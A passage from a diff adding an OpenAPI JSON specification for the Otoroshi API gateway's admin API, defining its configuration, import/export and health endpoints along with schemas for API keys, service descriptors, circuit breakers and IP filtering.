global otoroshi stats", + "operationId" : "globalLiveStats", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Stats" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/globalconfig" : { + "get" : { + "deprecated" : false, + "tags" : [ "configuration" ], + "summary" : "Get the full configuration of Otoroshi", + "description" : "Get the full configuration of Otoroshi", + "operationId" : "globalConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "configuration" ], + "summary" : "Update the global configuration", + "description" : "Update the global configuration", + "operationId" : "putGlobalConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfig" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "configuration" ], + "summary" : "Update the global configuration with a diff", + "description" : "Update the global configuration with a diff", + "operationId" : "patchGlobalConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/otoroshi.json" : { + "get" : { + "deprecated" : false, + "tags" : [ "import" ], + "summary" : "Export the full state of Otoroshi", + "description" : "Export the full state of Otoroshi", + "operationId" : "fullExport", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ImportExport" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "import" ], + "summary" : "Import the full state of Otoroshi", + "description" : "Import the full state of Otoroshi", + "operationId" : "fullImport", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ImportExport" + } + } + } + } + } + }, + "/api/import" : { + "post" : { + "deprecated" : false, + "tags" : [ "import" ], + "summary" : "Import the full state of Otoroshi as a file", + "description" : "Import the full state of Otoroshi as a file", + "operationId" : "fullImportFromFile", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ImportExport" + } + } + } + } + } + }, + "/health" : { + "get" : { + "deprecated" : false, + "tags" : [ "health" ], + "summary" : "Return current Otoroshi health", + "description" : "Import the full state of Otoroshi as a file", + "operationId" : "health", + "parameters" : [ ], + "responses" : { + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/OtoroshiHealth" + } + } + } + } + } + } + } + }, + "components" : { + "securitySchemes" : { + "otoroshi_auth" : { + "type" : "http", + "scheme" : "basic" + } + }, + "schemas" : { + "ApiKey" : { + "description" : "An Otoroshi Api Key. An Api Key is defined for a group of services to allow usage of the same Api Key for multiple services.", + "type" : "object", + "required" : [ "clientId", "clientSecret", "clientName", "authorizedEntities", "enabled" ], + "properties" : { + "clientId" : { + "type" : "string", + "example" : "a string value", + "description" : "The unique id of the Api Key. Usually 16 random alpha numerical characters, but can be anything" + }, + "clientSecret" : { + "type" : "string", + "example" : "a string value", + "description" : "The secret of the Api Key. Usually 64 random alpha numerical characters, but can be anything" + }, + "clientName" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the api key, for humans ;-)" + }, + "authorizedEntities" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "example" : [ "a string value" ], + "description" : "The group/service ids (prefixed by group_ or service_ on which the key is authorized" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not the key is enabled. If disabled, resources won't be available to calls using this key" + }, + "throttlingQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per second, measured on 10 seconds" + }, + "dailyQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per day" + }, + "monthlyQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per month" + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Bunch of metadata for the key" + } + } + }, + "Auth0Config" : { + "description" : "Configuration for Auth0 domain", + "type" : "object", + "required" : [ "clientId", "clientSecret", "domain", "callbackUrl" ], + "properties" : { + "clientId" : { + "type" : "string", + "example" : "a string value", + "description" : "Auth0 client id" + }, + "clientSecret" : { + "type" : "string", + "example" : "a string value", + "description" : "Auth0 client secret" + }, + "domain" : { + "type" : "string", + "example" : "a string value", + "description" : "Auth0 domain" + }, + "callbackUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "Auth0 callback URL" + } + } + }, + "Canary" : { + "description" : "The configuration of the canary mode for a service descriptor", + "type" : "object", + "required" : [ "enabled", "traffic", "targets", "root" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Use canary mode for this service" + }, + "traffic" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Ratio of traffic that will be sent to canary targets." + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + }, + "description" : "The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures" + }, + "root" : { + "type" : "string", + "example" : "a string value", + "description" : "Otoroshi will append this root to any target choosen. If the specified root is '/api/foo', then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar" + } + } + }, + "CleverSettings" : { + "description" : "Configuration for CleverCloud client", + "type" : "object", + "required" : [ "consumerKey", "consumerSecret", "token", "secret", "orgaId" ], + "properties" : { + "consumerKey" : { + "type" : "string", + "example" : "a string value", + "description" : "CleverCloud consumer key" + }, + "consumerSecret" : { + "type" : "string", + "example" : "a string value", + "description" : "CleverCloud consumer token" + }, + "token" : { + "type" : "string", + "example" : "a string value", + "description" : "CleverCloud oauth token" + }, + "secret" : { + "type" : "string", + "example" : "a string value", + "description" : "CleverCloud oauth secret" + }, + "orgaId" : { + "type" : "string", + "example" : "a string value", + "description" : "CleverCloud organization id" + } + } + }, + "ClientConfig" : { + "description" : "The configuration of the circuit breaker for a service descriptor", + "type" : "object", + "required" : [ "useCircuitBreaker", "retries", "maxErrors", "retryInitialDelay", "backoffFactor", "callTimeout", "globalTimeout", "sampleInterval" ], + "properties" : { + "useCircuitBreaker" : { + "type" : "boolean", + "example" : true, + "description" : "Use a circuit breaker to avoid cascading failure when calling chains of services. Highly recommended !" + }, + "retries" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify how many times the client will try to fetch the result of the request after an error before giving up." + }, + "maxErrors" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify how many errors can pass before opening the circuit breaker" + }, + "retryInitialDelay" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor" + }, + "backoffFactor" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify the factor to multiply the delay for each retry" + }, + "callTimeout" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify how long each call should last at most in milliseconds" + }, + "globalTimeout" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify how long the global call (with retries) should last at most in milliseconds" + }, + "sampleInterval" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Specify the sliding window time for the circuit breaker in milliseconds, after this time, error count will be reseted" + } + } + }, + "Deleted" : { + "type" : "object", + "required" : [ "deleted" ], + "properties" : { + "deleted" : { + "type" : "boolean", + "example" : true + } + } + }, + "Done" : { + "type" : "object", + "required" : [ "done" ], + "properties" : { + "done" : { + "type" : "boolean", + "example" : true + } + } + }, + "Environment" : { + "type" : "string", + "example" : "prod", + "description" : "The name of the environment for service descriptors" + }, + "ErrorTemplate" : { + "description" : "Error templates for a service descriptor", + "type" : "object", + "required" : [ "serviceId", "template40x", "template50x", "templateBuild", "templateMaintenance", "messages" ], + "properties" : { + "serviceId" : { + "type" : "string", + "example" : "a string value", + "description" : "The Id of the service for which the error template is enabled" + }, + "template40x" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for 40x errors" + }, + "template50x" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for 50x errors" + }, + "templateBuild" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for build page" + }, + "templateMaintenance" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for maintenance page" + }, + "messages" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Map for custom messages" + } + } + }, + "ExposedApi" : { + "description" : "The Open API configuration for your service (if one)", + "type" : "object", + "required" : [ "exposeApi" ], + "properties" : { + "exposeApi" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not the current service expose an API with an Open API descriptor" + }, + "openApiDescriptorUrl" : { + "type" : "string", + "format" : "uri", + "example" : "http://www.google.com", + "description" : "The URL of the Open API descriptor" + } + } + }, + "GlobalConfig" : { + "type" : "object", + "required" : [ "streamEntityOnly", "autoLinkToDefaultGroup", "limitConcurrentRequests", "maxConcurrentRequests", "useCircuitBreakers", "apiReadOnly", "u2fLoginOnly", "ipFiltering", "throttlingQuota", "perIpThrottlingQuota", "analyticsWebhooks", "alertsWebhooks", "alertsEmails", "endlessIpAddresses" ], + "description" : "The global config object of Otoroshi, used to customize settings of the current Otoroshi instance", + "properties" : { + "lines" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Possibles lines for Otoroshi" + }, + "streamEntityOnly" : { + "type" : "boolean", + "example" : true, + "description" : "HTTP will be streamed only. Doesn't work with old browsers" + }, + "autoLinkToDefaultGroup" : { + "type" : "boolean", + "example" : true, + "description" : "If not defined, every new service descriptor will be added to the default group" + }, + "limitConcurrentRequests" : { + "type" : "boolean", + "example" : true, + "description" : "If enabled, Otoroshi will reject new request if too much at the same time" + }, + "maxConcurrentRequests" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of authorized request processed at the same time" + }, + "maxHttp10ResponseSize" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The max size in bytes of an HTTP 1.0 response" + }, + "useCircuitBreakers" : { + "type" : "boolean", + "example" : true, + "description" : "If enabled, services will be authorized to use circuit breakers" + }, + "apiReadOnly" : { + "type" : "boolean", + "example" : true, + "description" : "If enabled, Admin API won't be able to write/update/delete entities" + }, + "u2fLoginOnly" : { + "type" : "boolean", + "example" : true, + "description" : "If enabled, login to backoffice through Auth0 will be disabled" + }, + "ipFiltering" : { + "$ref" : "#/components/schemas/IpFiltering" + }, + "throttlingQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per second globally, measured on 10 seconds" + }, + "perIpThrottlingQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per second globally per IP address, measured on 10 seconds" + }, + "elasticWritesConfigs" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ElasticConfig" + }, + "description" : "Configs. for Elastic writes" + }, + "elasticReadsConfig" : { + "$ref" : "#/components/schemas/ElasticConfig", + "description" : "Config. for elastic reads" + }, + "analyticsWebhooks" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Webhook" + }, + "description" : "Webhook that will receive all internal Otoroshi events" + }, + "alertsWebhooks" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Webhook" + }, + "description" : "Webhook that will receive all Otoroshi alert events" + }, + "alertsEmails" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "email", + "example" : "admin@otoroshi.io" + }, + "description" : "Email addresses that will receive all Otoroshi alert events" + }, + "endlessIpAddresses" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "ipv4", + "example" : "192.192.192.192" + }, + "description" : "IP addresses for which any request to Otoroshi will respond with 128 Gb of zeros" + }, + "middleFingers" : { + "type" : "boolean", + "example" : true, + "description" : "Use middle finger emoji as a response character for endless HTTP responses" + }, + "maxLogsSize" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Number of events kept locally" + }, + "cleverSettings" : { + "$ref" : "#/components/schemas/CleverSettings", + "description" : "Optional CleverCloud configuration" + }, + "mailerSettings" : { + "$ref" : "#/components/schemas/MailerSettings", + "description" : "Optional mailer configuration" + }, + "backofficeAuth0Config" : { + "$ref" : "#/components/schemas/Auth0Config", + "description" : "Optional configuration for the backoffice Auth0 domain" + }, + "privateAppsAuth0Config" : { + "$ref" : "#/components/schemas/Auth0Config", + "description" : "Optional configuration for the private apps Auth0 domain" + } + } + }, + "Group" : { + "description" : "An Otoroshi service group is just a group of service descriptor. It is useful to be able to define Api Keys for the whole group", + "type" : "object", + "required" : [ "id", "name" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "The unique id of the group. Usually 64 random alpha numerical characters, but can be anything" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the group" + }, + "description" : { + "type" : "string", + "example" : "a string value", + "description" : "The descriptoin of the group" + } + } + }, + "HealthCheck" : { + "description" : "The configuration for checking health of a service. Otoroshi will perform GET call on the URL to check if the service is still alive", + "type" : "object", + "required" : [ "enabled" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not healthcheck is enabled on the current service descriptor" + }, + "url" : { + "type" : "string", + "format" : "uri", + "example" : "http://www.google.com", + "description" : "The URL to check" + } + } + }, + "OtoroshiHealth" : { + "description" : "The structure that represent current Otoroshi health", + "type" : "object", + "required" : [ "label", "otoroshi", "datastore" ], + "properties" : { + "otoroshi" : { + "type" : "string", + "enum" : [ "healthy", "unhealthy", "down" ] + }, + "datastore" : { + "type" : "string", + "enum" : [ "healthy", "unhealthy", "unreachable" ] + } + } + }, + "ImportExport" : { + "description" : "The structure that can be imported to or exported from Otoroshi. It represent the memory state of Otoroshi", + "type" : "object", + "required" : [ "label", "dateRaw", "date", "stats", "config", "admins", "simpleAdmins", "serviceGroups", "apiKeys", "serviceDescriptors", "errorTemplates" ], + "properties" : { + "label" : { + "type" : "string", + "example" : "a string value" + }, + "dateRaw" : { + "type" : "integer", + "format" : "int64", + "example" : 123 + }, + "date" : { + "type" : "string", + "format" : "date-time", + "example" : "2017-07-21T17:32:28Z" + }, + "stats" : { + "$ref" : "#/components/schemas/ImportExportStats", + "description" : "Current global stats at the time of export" + }, + "config" : { + "$ref" : "#/components/schemas/GlobalConfig", + "description" : "Current global config at the time of export" + }, + "appConfig" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Current env variables at the time of export" + }, + "admins" : { + "type" : "array", + "items" : { + "description" : "Administrator using FIDO U2F device to access Otoroshi", + "type" : "object", + "required" : [ "username", "label", "password", "createdAt", "registration" ], + "properties" : { + "username" : { + "type" : "string", + "example" : "a string value", + "description" : "The email address of the user" + }, + "label" : { + "type" : "string", + "example" : "a string value", + "description" : "The label for the user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "The hashed password of the user" + }, + "createdAt" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The creation date of the user" + }, + "registration" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The U2F registration slug" + } + } + }, + "description" : "Current U2F admin at the time of export" + }, + "simpleAdmins" : { + "type" : "array", + "items" : { + "description" : "Administrator using just login/password tuple to access Otoroshi", + "type" : "object", + "required" : [ "username", "label", "password", "createdAt" ], + "properties" : { + "username" : { + "type" : "string", + "example" : "a string value", + "description" : "The email address of the user" + }, + "label" : { + "type" : "string", + "example" : "a string value", + "description" : "The label for the user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "The hashed password of the user" + }, + "createdAt" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The creation date of the user" + } + } + }, + "description" : "Current simple admins at the time of export" + }, + "serviceGroups" : { + "type" : "array", + "items" : { + "description" : "An Otoroshi service group is just a group of service descriptor. It is useful to be able to define Api Keys for the whole group", + "type" : "object", + "required" : [ "id", "name" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "The unique id of the group. Usually 64 random alpha numerical characters, but can be anything" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the group" + }, + "description" : { + "type" : "string", + "example" : "a string value", + "description" : "The descriptoin of the group" + } + } + }, + "description" : "Current service groups at the time of export" + }, + "apiKeys" : { + "type" : "array", + "items" : { + "description" : "An Otoroshi Api Key. An Api Key is defined for a group of services to allow usage of the same Api Key for multiple services.", + "type" : "object", + "required" : [ "clientId", "clientSecret", "clientName", "authorizedEntities", "enabled" ], + "properties" : { + "clientId" : { + "type" : "string", + "example" : "a string value", + "description" : "The unique id of the Api Key. Usually 16 random alpha numerical characters, but can be anything" + }, + "clientSecret" : { + "type" : "string", + "example" : "a string value", + "description" : "The secret of the Api Key. Usually 64 random alpha numerical characters, but can be anything" + }, + "clientName" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of the api key, for humans ;-)" + }, + "authorizedEntities" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "example" : [ "a string value" ], + "description" : "The group/service ids (prefixed by group_ or service_ on which the key is authorized" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not the key is enabled. If disabled, resources won't be available to calls using this key" + }, + "throttlingQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per second, measured on 10 seconds" + }, + "dailyQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per day" + }, + "monthlyQuota" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Authorized number of calls per month" + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Bunch of metadata for the key" + } + } + }, + "description" : "Current apik keys at the time of export" + }, + "serviceDescriptors" : { + "type" : "array", + "items" : { + "description" : "An otoroshi service descriptor. Represent a forward HTTP call on a domain to another location with some optional api management mecanism", + "type" : "object", + "required" : [ "id", "groups", "name", "env", "domain", "subdomain", "targets", "root", "enabled", "privateApp", "forceHttps", "maintenanceMode", "buildMode", "enforceSecureCommunication" ], + "properties" : { + "id" : { + "type" : "string", + "format" : "uuid", + "example" : "110e8400-e29b-11d4-a716-446655440000", + "description" : "A unique random string to identify your service" + }, + "groups" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "example" : [ "a string value" ], + "description" : "Each service descriptor is attached to groups. A group can have one or more services. Each API key is linked to a group and allow access to every service in the group" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of your service. Only for debug and human readability purposes" + }, + "env" : { + "type" : "string", + "example" : "a string value", + "description" : "The line on which the service is available. Based on that value, the name of the line will be appended to the subdomain. For line prod, nothing will be appended. For example, if the subdomain is 'foo' and line is 'preprod', then the exposed service will be available at 'foo.preprod.mydomain'" + }, + "domain" : { + "type" : "string", + "example" : "a string value", + "description" : "The domain on which the service is available." + }, + "subdomain" : { + "type" : "string", + "example" : "a string value", + "description" : "The subdomain on which the service is available" + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + }, + "description" : "The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures" + }, + "root" : { + "type" : "string", + "example" : "a string value", + "description" : "Otoroshi will append this root to any target choosen. If the specified root is '/api/foo', then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar" + }, + "matchingRoot" : { + "type" : "string", + "example" : "a string value", + "description" : "The root path on which the service is available" + }, + "localHost" : { + "type" : "string", + "example" : "a string value", + "description" : "The host used localy, mainly localhost:xxxx" + }, + "localScheme" : { + "type" : "string", + "example" : "a string value", + "description" : "The scheme used localy, mainly http" + }, + "redirectToLocal" : { + "type" : "boolean", + "example" : true, + "description" : "If you work locally with Otoroshi, you may want to use that feature to redirect one particuliar service to a local host. For example, you can relocate https://foo.preprod.bar.com to http://localhost:8080 to make some tests" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Activate or deactivate your service. Once disabled, users will get an error page saying the service does not exist" + }, + "userFacing" : { + "type" : "boolean", + "example" : true, + "description" : "The fact that this service will be seen by users and cannot be impacted by the Snow Monkey" + }, + "privateApp" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, user will be allowed to use the service (UI) only if they are registered users of the private apps domain" + }, + "forceHttps" : { + "type" : "boolean", + "example" : true, + "description" : "Will force redirection to https:// if not present" + }, + "maintenanceMode" : { + "type" : "boolean", + "example" : true, + "description" : "Display a maintainance page when a user try to use the service" + }, + "buildMode" : { + "type" : "boolean", + "example" : true, + "description" : "Display a construction page when a user try to use the service" + }, + "enforceSecureCommunication" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, Otoroshi will try to exchange headers with downstream service to ensure no one else can use the service from outside" + }, + "sendOtoroshiHeadersBack" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, Otoroshi will send headers to consumer like request id, client latency, overhead, etc ..." + }, + "xForwardedHeaders" : { + "type" : "boolean", + "example" : true, + "description" : "Send X-Forwarded-* headers" + }, + "overrideHost" : { + "type" : "boolean", + "example" : true, + "description" : "Host header will be overriden with Host of the target" + }, + "secComExcludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "URI patterns excluded from secured communications" + }, + "publicPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "By default, every services are private only and you'll need an API key to access it. However, if you want to expose a public UI, you can define one or more public patterns (regex) to allow access to anybody. For example if you want to allow anybody on any URL, just use '/.*'" + }, + "privatePatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "If you define a public pattern that is a little bit too much, you can make some of public URL private again" + }, + "ipFiltering" : { + "$ref" : "#/components/schemas/IpFiltering" + }, + "api" : { + "$ref" : "#/components/schemas/ExposedApi" + }, + "healthCheck" : { + "$ref" : "#/components/schemas/HealthCheck" + }, + "clientConfig" : { + "$ref" : "#/components/schemas/ClientConfig" + }, + "Canary" : { + "$ref" : "#/components/schemas/Canary" + }, + "statsdConfig" : { + "$ref" : "#/components/schemas/StatsdConfig" + }, + "chaosConfig" : { + "$ref" : "#/components/schemas/ChaosConfig" + }, + "jwtVerifier" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LocalJwtVerifier" + }, { + "$ref" : "#/components/schemas/RefJwtVerifier" + } ] + }, + "secComSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Just a bunch of random properties" + }, + "matchingHeaders" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that MUST be present on client request to route it. Useful to implement versioning" + }, + "additionalHeaders" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that will be added to each client request. Useful to add authentication" + }, + "authConfigRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to a global auth module config" + }, + "transformerRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to a request transformer" + }, + "clientValidatorRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to validation authority" + }, + "cors" : { + "$ref" : "#/components/schemas/CorsSettings" + }, + "redirection" : { + "$ref" : "#/components/schemas/RedirectionSettings" + }, + "gzip" : { + "$ref" : "#/components/schemas/Gzip" + }, + "headersVerification" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that will be verified after routing." + } + } + }, + "description" : "Current service descriptors at the time of export" + }, + "errorTemplates" : { + "type" : "array", + "items" : { + "description" : "Error templates for a service descriptor", + "type" : "object", + "required" : [ "serviceId", "template40x", "template50x", "templateBuild", "templateMaintenance", "messages" ], + "properties" : { + "serviceId" : { + "type" : "string", + "example" : "a string value", + "description" : "The Id of the service for which the error template is enabled" + }, + "template40x" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for 40x errors" + }, + "template50x" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for 50x errors" + }, + "templateBuild" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for build page" + }, + "templateMaintenance" : { + "type" : "string", + "example" : "a string value", + "description" : "The html template for maintenance page" + }, + "messages" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Map for custom messages" + } + } + }, + "description" : "Current error templates at the time of export" + } + } + }, + "ImportExportStats" : { + "description" : "Global stats for the current Otoroshi instances", + "type" : "object", + "required" : [ "calls", "dataIn", "dataOut" ], + "properties" : { + "calls" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Number of calls to Otoroshi globally" + }, + "dataIn" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The amount of data sent to Otoroshi globally" + }, + "dataOut" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The amount of data sent from Otoroshi globally" + } + } + }, + "IpFiltering" : { + "description" : "The filtering configuration block for a service of globally.", + "type" : "object", + "required" : [ "whitelist", "blacklist" ], + "properties" : { + "whitelist" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "ipv4", + "example" : "192.192.192.192" + }, + "description" : "Whitelisted IP addresses" + }, + "blacklist" : { + "type" : "array", + "items" : { + "type" : "string", + "format" : "ipv4", + "example" : "192.192.192.192" + }, + "description" : "Blacklisted IP addresses" + } + } + }, + "MailerSettings" : { + "description" : "Configuration for mailgun api client", + "type" : "object", + "required" : [ "apiKey", "domain" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "Type of the mailer: console, generic, mailgun, mailjet" + }, + "eu" : { + "type" : "boolean", + "example" : true, + "description" : "Mailgun mailer, use EU tenant api" + }, + "apiKey" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailgun mailer api key" + }, + "domain" : { 